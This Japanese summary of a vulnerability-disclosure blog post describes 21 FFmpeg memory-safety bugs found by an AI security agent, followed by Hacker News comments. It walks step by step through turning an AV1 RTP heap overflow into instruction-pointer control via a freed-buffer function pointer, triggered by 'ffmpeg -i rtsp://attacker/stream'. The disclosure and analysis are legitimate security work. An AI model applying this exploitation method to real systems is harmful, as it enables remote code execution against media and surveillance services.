- 世界中のブラウザやストリーミング基盤でメディアを処理する FFmpeg は、複雑で信頼できない入力をパースするため、セキュリティ上重要な攻撃面となっている
- depthfirstの自律 セキュリティエージェント は、約150万行の最適化されたCコードから21件のゼロデイを発見し、コストは約$1kで、AnthropicのMythos利用コスト$10kの10%水準だった
- 発見項目はTS demuxer、VP9 decoder、RTP/RTSP/RTMP処理経路など複数のコンポーネントにまたがり、一部の脆弱性は 15〜20年 にわたり潜伏していた
- AV1 RTP depacketizerの脆弱性は、183バイトのRTPパケットだけで 関数ポインタ を上書きするPoCにつながり、
ffmpeg -i rtsp://attacker/stream を実行するだけで到達可能
- 実質的なセキュリティ検証には、理論上の警告ではなく、再現可能な入力と実行確認までが必要であり、エージェント型分析は大規模なCコードベースの隠れた脆弱性の発掘に直接活用できる
概要
- FFmpeg は、ブラウザや大規模ストリーミングプラットフォームのインフラなどでメディアを処理する、広く配布されたソフトウェアである
- 複雑で信頼できないメディアを継続的にパースするライブラリであるため、セキュリティ上重要であり、ゼロクリック攻撃の主要な標的となる
- FFmpegリポジトリは約 150万行 の高度に最適化されたCコードで構成され、数百の複雑なメディア形式をパースする
- FFmpegは20年以上にわたりファジングと手動監査を受けており、最近ではGoogle Big SleepチームがFFmpegで 13件の脆弱性 を公開した
- AnthropicはMythosモデルでFFmpegをスキャンし、一部のセキュリティ問題 を発見した
- こうした先行研究の後では、FFmpegで新たな脆弱性を見つけることはより難しくなっており、大規模コードベースを深くスキャンするエージェント型システムの能力を確認する対象となっている
Depthfirstのセキュリティエージェント
- コーディングエージェントとセキュリティエージェントは同じ基盤モデルを使えるが、目的は大きく異なる
- コーディングエージェント は通常、人間の課題を受けてアプリケーションコードを書くことに焦点を当てる
- セキュリティエージェント は、具体的な指示なしに既存システムから実際に悪用可能なセキュリティ問題を見つけるという、狭く目標志向の役割を担う
- セキュリティエージェントはまず、コードベースのアーキテクチャ、露出したパーサやプロトコルハンドラ、攻撃者が制御可能な入力の侵入点を把握する必要がある
- その後、リポジトリを平面的なファイル群として扱うのではなく、攻撃面のコードから関連コンポーネントをたどって データフロー を追跡する
- 実用的なセキュリティエージェントには、欠けている条件を作り上げたり、理論上のバグを誇張したり、大量の誤検知を出したりしないためのガードレールが必要である
- 攻撃者が実際に正しい入力を制御できるか、脆弱な経路に到達可能か、疑わしい欠陥が再現可能かを確認しなければならない
- 必要であれば、対象コンポーネントと相互作用する ハーネス(harness) を特定または作成し、仮説を具体的に検証する必要がある
- depthfirstの特化型セキュリティエージェントは、コードを深く分析し、複数の仮説を並列に分岐させて検証する
- 成果物は理論的なレポートや曖昧な警告ではなく、再現可能な具体的入力によって実行確認されたセキュリティ問題である
発見結果
- エージェントは合計 21件のゼロデイ を発見し、範囲はTS demuxerからVP9 decoderまで広がっている
- 総コストは約 $1k で、これは AnthropicがMythos利用に費やしたコスト の10%水準である
- コスト比較: {b:1,10}
-
CVEが割り当てられた脆弱性
- CVE-2026-39210 は、TS demuxerにおいて2バイトを読む前の長さ境界チェックが欠落していたヒープバッファオーバーフローで、2010年に入り込んだ
- CVE-2026-39211 は、swscaleのリファクタリング中に上限のないサイズ係数式により、ユーザー制御パラメータが任意に大きいスケーリングを引き起こせた整数オーバーフローで、2010年に入り込んだ
- CVE-2026-39212 は、
ffmpeg_opt.c でプリセットファイルが深さ制限なしにオプションパースを再帰的に引き起こせたスタックオーバーフローで、2025年7月のリグレッションとして入り込んだ
- CVE-2026-39213 は、yuv4mpegenc rawvideo入力経路でパケットサイズに対する次元検証が欠落していたヒープバッファオーバーフローで、2023年に入り込んだ
- CVE-2026-39214 は、元のSDT実装で残り領域を追跡せずにサービスエントリを書き込むスタックバッファオーバーフローで、2003年に入り込み、23年間潜伏していた
- CVE-2026-39215 は、
update_mb_info() 内のロジックエラーにより、その後の呼び出しが割り当てバッファの後ろ12バイトを書き込んでしまうヒープバッファオーバーフローで、2012年に入り込んだ
- CVE-2026-39216 は、
img2enc.c で安全なクロマサイズを次元ベースの無制限サイズに置き換えたことで生じたヒープバッファオーバーフローで、2012年に入り込んだ
- CVE-2026-39217 は、VP9 decoderでリファクタリングされたサイズ更新関数のためにタイルスレッドバッファが必要な再確保を見逃すヒープバッファオーバーフローで、2025年3月のリグレッションとして入り込んだ
- CVE-2026-39218 は、DASH demuxerで負のduration値を拒否しなかったためにfragment配列インデックスが負になるヒープバッファオーバーフローで、2017年に入り込んだ
-
内部追跡IDで参照された脆弱性
- DFVULN-127 は、RTP AV1 depacketizerの
av1_handle_packet() がTemporal Delimiter OBUをスキップする際に obu_size 分だけ出力位置を進める一方で同サイズの領域を確保せず、その結果次のOBUがバッファ境界外に書き込まれるヒープバッファオーバーフローである
- DFVULN-126 は、swscale graphコードの
run_legacy_unscaled() がインターレースYUV420P→NV12変換を誤って処理し、対象Y-planeを576バイト超えて書き込むヒープバッファオーバーフローである
- DFVULN-125 は、RTP JPEG depacketizerの
jpeg_create_header() が1024バイトのスタックバッファ内にquantization-tableセクションを構築する際、qtable_len >= 1024 パケットの後で AV_WB16 が末尾を2バイト越えて書き込むスタックバッファオーバーフローである
- DFVULN-124 は、AVIF overlay経路の
istg_parse_tile_grid() がタイルエントリ0個の dimg 参照を拒否しないため、符号なしラップアラウンドの後に1バイトのヒープ割り当て上で範囲外読み出しを引き起こすヒープバッファオーバーフローである
- DFVULN-123 は、RTP LATM depacketizerの
latm_parse_packet() がsigned 32-bit加算オーバーフローで境界チェックを回避し、memcpy がヒープバッファ終端の約1GB先を読み取ってしまう整数オーバーフローである
- DFVULN-122 は、RTP MPEG-4 depacketizerの
aac_parse_packet() がAU-headers-length 0を受け入れて1バイト割り当てを作った後、AU headerの存在確認なしに4バイトフィールドを読み取るヒープバッファオーバーフローである
- DFVULN-121 は、CAF demuxerの
read_seek() が av_index_search_timestamp() の戻り値 -1 を検査せず配列インデックスとして使用し、index_entries[-1] にアクセスするヒープバッファアンダーフローである
- DFVULN-120 は、AVI demuxerの
ff_read_riff_info() が size >= 4 の確認なしに size - 4 を受け取り、LIST chunkサイズ0で約4GBへアンダーフローして約2GBの割り当てを引き起こす整数アンダーフローである
- DFVULN-119 は、option parserの
opt_map() にある不要なインクリメントにより、link-labelがfile indexとして誤ってパースされ、stream index -1が保存され、その後のループが AVStream** 配列の手前を読み取ってしまうヒープバッファオーバーフローである
- DFVULN-118 は、RTSP server経路の
rtsp_read_announce() が負の Content-Length を有効として扱い、リモート ANNOUNCE と Content-Length: -1 により sdp[-1] への範囲外書き込みを引き起こすヒープバッファオーバーフローである
- DFVULN-117 は、RTMP clientの
rtmp_calc_swfhash() が in_size < 8 ではなく in_size < 3 しか検査しないため、最小3バイトのバッファから8バイトを読み取るヒープバッファオーバーフローである
- DFVULN-116 は、RTSP SDP parsingの
sdp_parse_line() が空文字列に対して strlen(control_url) - 1 を計算することで size_t が SIZE_MAX にラップし、1バイトのpre-buffer readを引き起こすヒープバッファオーバーフローである
スキップされたフレームマーカーからPC制御まで
- 21件の発見項目のうち、AV1 RTP depacketizer のヒープバッファオーバーフローは、ネットワーク経由で特別なフラグなしに到達可能である
- 被害者は
ffmpeg -i rtsp://attacker/stream を実行するだけでよく、単一の 183バイト パケットで実行フローを変更できる
- FFmpegがRTSPストリームを取得するとき、サーバーはエンコード済み動画をRTPパケット列として送信する
- AV1はビットストリームをOBU(Open Bitstream Units)で構成し、RTP payload formatはこのOBUを複数パケットに分割する
- FFmpegのdepacketizerは、分割されたOBUを再びきれいなelementary streamへ連結する役割を担う
- Temporal Delimiter(TD) は、1つのtemporal unit、つまりあるフレームと次のフレームを区切る小さなマーカーである
- 仕様では、payload内のTDをdepacketizerが “ignore and remove” しなければならないと定めている
- この “ignore and remove” 処理が問題箇所となり、エージェントがその地点を捉えた
根本原因
- depacketizerは出力パケットを段階的に構築し、
pktpos カーソルが pkt->data 内で次にバイトを書き込む位置を追跡する
pktpos はパケットの現在の末尾から始まる
// libavformat/rtpdec_av1.c:199
pktpos = pkt->size;
- コードがパケット内のOBU elementを巡回するとき、実際に出力するすべてのバイトの前には
av_grow_packet 呼び出しがあり、この呼び出しが pkt->data のヒープ割り当てを拡張する
- ルーチン全体が依存する不変条件は、
pktpos が pkt->data の割り当てサイズを追い越してはならないという点である
- Temporal Delimiter処理コードはこの不変条件を破る
// libavformat/rtpdec_av1.c:250
if ((obu_type == AV1_OBU_TEMPORAL_DELIMITER) ||
(obu_type == AV1_OBU_TILE_LIST)) {
pktpos += obu_size;
rem_pkt_size -= obu_size;
obu_cnt++;
continue;
}
- TDをスキップするとき、
pktpos は攻撃者が宣言した obu_size だけ前進するが、その前進を支えるメモリは確保されない
- 入力ポインタ
buf_ptr もTDバイトの後ろへ移動しない
- TDの
obu_size = 148 であれば、pktpos は148になるが、pkt->data は依然として未割り当てか、148バイトよりはるかに小さい可能性がある
- 次の反復ではTD自身のバイトを再びパースし、TD header byteを新たなOBU長として再読込みし、payloadを細工されたOBUの内容として使う
- 次の正常なOBUで、パケットはそのOBUサイズ分だけ拡張される
// libavformat/rtpdec_av1.c:296
if ((result = av_grow_packet(pkt, output_size)) < 0)
return result;
// libavformat/rtpdec_av1.c:304 / 336
pkt->data[pktpos++] = *buf_ptr++ | AV1F_OBU_HAS_SIZE_FIELD;
memcpy(pkt->data + pktpos, buf_ptr, obu_payload_size);
- 細工されたOBUが17バイトであれば、
av_grow_packet は17バイトとFFmpegの64バイト入力パディングを足した81バイトのバッファを確保する
- 書き込みは
pkt->data[148] から始まり、割り当て末尾より67バイト後方で発生する
- この欠陥は、攻撃者がオフセットと内容の両方を制御できる ヒープバッファオーバーフロー となる
悪用方法
- 制御可能なオーバーフローが有用であるためには、バッファ直後に上書き対象がある必要があり、FFmpegのallocatorがその対象を提供する
av_grow_packet がパケットデータバッファを確保する際、av_buffer_alloc を経由し、この関数はデータバッファ、AVBuffer bookkeeping struct、AVBufferRef を順にヒープへ確保する
- FFmpegは64バイトアラインメントの
posix_memalign によって確保するため、81バイトのデータバッファは128バイトchunkを占有し、AVBuffer struct が直後に配置される
AVBuffer struct には解放コールバックとして使われる関数ポインタがある
// libavutil/buffer_internal.h
struct AVBuffer {
uint8_t *data; // +0
size_t size; // +8
atomic_uint refcount; // +16
void (*free)(void *opaque, uint8_t *data); // +24
void *opaque; // +32
...
};
- データバッファ先頭基準で
AVBuffer.free ポインタはオフセット 152 に位置する
- TDの
obu_size = 148 であれば、書き込みは pkt->data[148] から始まる
- TD header byte
0x10 は長さ16として再解釈され、細工された16バイトOBUのheaderとpayloadがオフセット148から書き込まれる
AVBuffer.refcount はオフセット144–147にあるため、書き込み開始位置148より前に残り、元の値1を維持する
- エクスプロイトはTD payload内に3つ目の細工されたOBUを入れて、さらにもう一度
av_grow_packet を発生させる
- バッファは
av_buffer_realloc ではなく av_buffer_alloc で作成されているため、reallocatableとしてマークされず、FFmpegは新しいバッファを確保した後に既存バッファを解放する経路を選ぶ
// libavutil/buffer.c:209
if (!(buf->buffer->flags_internal & BUFFER_FLAG_REALLOCATABLE) || ...) {
ret = av_buffer_realloc(&new, size);
memcpy(new->data, buf->data, ...);
buffer_replace(pbuf, &new);
return 0;
}
buffer_replace は既存バッファのrefcountを1から0へ減らし、解放コールバックを呼び出す
// libavutil/buffer.c:129
if (atomic_fetch_sub_explicit(&b->refcount, 1, memory_order_acq_rel) == 1) {
b->free(b->opaque, b->data);
}
- この時点で上書きされた
free ポインタが呼び出され、instruction pointerの制御が可能になる
- release buildでは、単一の183バイトRTPパケットによって
rip が 0xdeadbeef になった
#0 0x00000000deadbeef in ?? ()
rip 0xdeadbeef 0xdeadbeef
#1 buffer_replace (buffer.c:133)
#2 av_buffer_realloc (buffer.c:220)
#3 av_grow_packet (packet.c:151)
#4 av1_handle_packet (rtpdec_av1.c:296)
#5 rtp_parse_packet_internal (rtpdec.c:743)
影響範囲とPoC
- 攻撃者が影響を及ぼせるRTSP URLをFFmpegに開かせるデプロイ環境は、この脆弱性の影響を受ける
- ユーザー提供のstream URLを取得する メディアingest pipeline は影響範囲に含まれる
- RTSP feedを取得する 監視およびCCTVシステム は影響範囲に含まれる
- リモートのAV1-over-RTPソースを処理するtranscoding serviceは影響範囲に含まれる
- 認証やストリームを開く以上のユーザー操作は不要で、特殊なcommand-line flagも必要ない
- 脆弱性は、こうしたクライアントが設計上実行する通常のRTSP
PLAY 段階でトリガーされる
- PoCコードは ffmpeg-dfvuln127 にある
1件のコメント
Hacker Newsのコメント
FFmpegはセキュリティ面での実績がとりわけ悪い
かなり昔から、ファザー(fuzzer)を回すたびにほぼ際限なくメモリ破損バグが出ており、10年前にはGoogle社員による取り組みもあった: https://security.googleblog.com/2014/01/ffmpeg-and-thousand-...
なので、これがLLMの能力を示すデモではあるにせよ、驚くような話ではない。信頼できない、あるいはユーザー提供のコンテンツを扱うなら、FFmpegをサンドボックスの外で実行してはいけないし、そうするのは不合理なリスクを負うことになる
90年代のビデオゲーム1本でしか使われないような極めてニッチなコーデックに脆弱性があり、報告者は大事のように振る舞っていたが、実際にはほとんど使われないコーデックなので大したことではない、というような話し方だった
しかし、攻撃者が動画ファイルを提供できるなら、どのビデオコーデックでも好きに選べるという事実を分かっていないのかと思った。開発者がそのコーデックはまったく使われていないと思っていても、まだ利用可能なら攻撃者は使える
もしかすると自分が何か見落としていて、このコーデックの脆弱性が本当に大したことではない正当な理由があるのかもしれないが、それが気になる
最近まではvirtio GPUのネイティブコンテキストがなかったため、ハードウェアアクセラレーションを完全に失わずに動画プレーヤーをサンドボックス化することすら不可能だった。少なくとも外部から強制するのはそうで、内部的にはChromiumのようにFFmpegを分離し、seccompで強く縛ることはできた
FFmpegだけの問題ではない。Appleにも画像・動画デコーダの脆弱性は数え切れないほどあった。この分野自体が非常に難しく、FFmpegは誰よりも多くのことをやっている
業界は間違った対象を最適化していると思う。Mythos preview 1やGPT-5.5のようなもので、AIが書いたバグレポートを何千件も生成するのは簡単だ。難しいのはバグを実際に修正することだ
数か月前から、致命的なセキュリティ問題を見つけてレポートだけを上げる代わりに、PRを開くシステムを作っている。これまでの受理率はおおよそ**94%**ほどだ。失敗の大半は脆弱性の誤認ではなく、文書化されていないプロジェクトごとのキルスイッチや内部メカニズムが原因だった
開発者たちは概してこのやり方をより好んでいるようだ。バグレポートは仕事を増やし、良いPRは仕事を減らす。当然のように思えるが、多くのセキュリティ製品はいまだにレポートで止まって終わっているという
業界が始まって以来ずっとそうで、ようやく今になって、その被害と全体の脆さを評価するための適切なツールが生まれ始めている
このバグは到達範囲の広さゆえに深刻だ。FFmpegが攻撃者の影響を受けるRTSP URLを見るあらゆるデプロイが露出する
ユーザー提供のストリームURLを取り込むメディア収集パイプライン、RTSPフィードを取り込む監視・CCTVシステム、リモートのAV1-over-RTPソースを処理するトランスコーディングサービスなどが該当する。実際かなり深刻で、公になったことの方がむしろ驚きなくらいだ。今すぐ悪用できそうなサービスがいくつも思い浮かぶ
これがセキュリティ企業の広告のように見えるぶん大げさだとしても、リリースするすべてのアプリケーションのどこかにはセキュリティホールがあり、今ではスクリプトキディでもリリース5分後に2ドルのクレジットでそれを見つけられるという事実を思い出させてくれる
リリース前にレッドチームでコードを検証しなければ、ハッカーがリリース後に代わりにやることになる
ゼロデイという用語は誇張して使われている。説明されている脆弱性の中に本当のゼロデイはないが、そう呼ぶともっともらしく見えてクリックも稼げる
「この時点で破損したfreeポインタが呼び出され、命令ポインタの制御権はこちらにある」というのは非常に深刻だ
ただ、実際にはこのバグだけで任意のリモートコード実行にまで至るようには見えない。特にASLRがあればなおさらで、書き込み可能かつ実行可能なメモリページがどこかに必要になる
それでもASLRを破るには別のエクスプロイトが必要だ
それは「ゼロデイ」の意味ではない
セキュリティ研究という分野のインセンティブ構造は深刻に壊れている
彼らはFOSS世界の中間管理職のようなものだ。ボランティアにさらに多くの仕事を押しつけて称賛され、その仕事が緊急であるほどさらに称賛される。問題の現実的な影響や実用的な含意を認めることは、彼らのインセンティブと衝突する
ソフトウェア業界の底辺清掃人のように見えないようにするのは難しく、そろそろ彼らを仲間外れにされる存在のように扱い始めるべきだと思う。PRを送るか、さもなくば黙っていろ、ということだ
FFmpegは個人的にも、自分が作ったサービスでも非常に長く使ってきた。Fabrice Bellardは天才であり、FFmpegをここまで発展させてきた開発者たちは、世界を測定可能なほど豊かにした
しかし、信頼できない入力で実行する際に、FFmpegほどサンドボックス化する価値の高いプログラムは思い浮かばない。極めて複雑で、完全に正しく作るのが悪名高いほど難しい動画・音声コーデックを、巨大なCコードベースが扱っているからだ
それでも実際には、そこまで大きな問題ではない。FFmpegをVMやgVisorの中で実行し、最終成果物は通常ブラウザで再生してもよいと思える動画ファイルだからだ。ブラウザ側でも別のサンドボックス内でデコードされるので、これはもともと難しい問題だ
安全なサンドボックス化は、制限のないコピーを可能にする機会になりがちだ
RTP LATM逆パケット化コードで、
latm_parse_packet()が符号付き32ビット加算を行う際にオーバーフローし、境界チェックを回避してしまう脆弱性だまたしてもチェックなしの加算が原因で脆弱性が生まれている。それなのに、RustやGoのような現代的な言語はオーバーフロー時に例外を投げず、RISC-Vのような現代的なCPUアーキテクチャもオーバーフロートラップを提供していない。CやC++のような古い言語にもオーバーフローチェックはない
滑稽な話だ。人間が正しい算術コードを書けると信じられないことは明白だ
Rustのリリースモードにおけるデフォルトの整数オーバーフロー動作も定義されており、単にラップアラウンドするだけだ。そのため、脆弱性につながる可能性は低くなる。もちろんunsafe Rustを使い始めると話は別だ
+|=、+%=演算子があるRustはデフォルトではオーバーフロー例外を出さないが、
123.checked_add(321)のように書けばよい。そうするとコードは読みにくくなるが、オーバーフローには安全になる正直、自分のコードの書き方からすると、行末コメントのような形式のほうが好みだ。たとえば
var x = y + z; # wrappedのようなものだ1行の中でラップアラウンド・チェック付き・飽和算術を混在させる可能性は非常に低い。Zigでは、すべての行が他のコード文脈なしでもそれ自体でコンパイル可能でなければならないので、
doing(wrapped) { x + y }のようなコンパイラ状態は不可だ。関数名は冗長すぎ、型変換も冗長すぎる。文単位の修飾子がよい折衷案かもしれない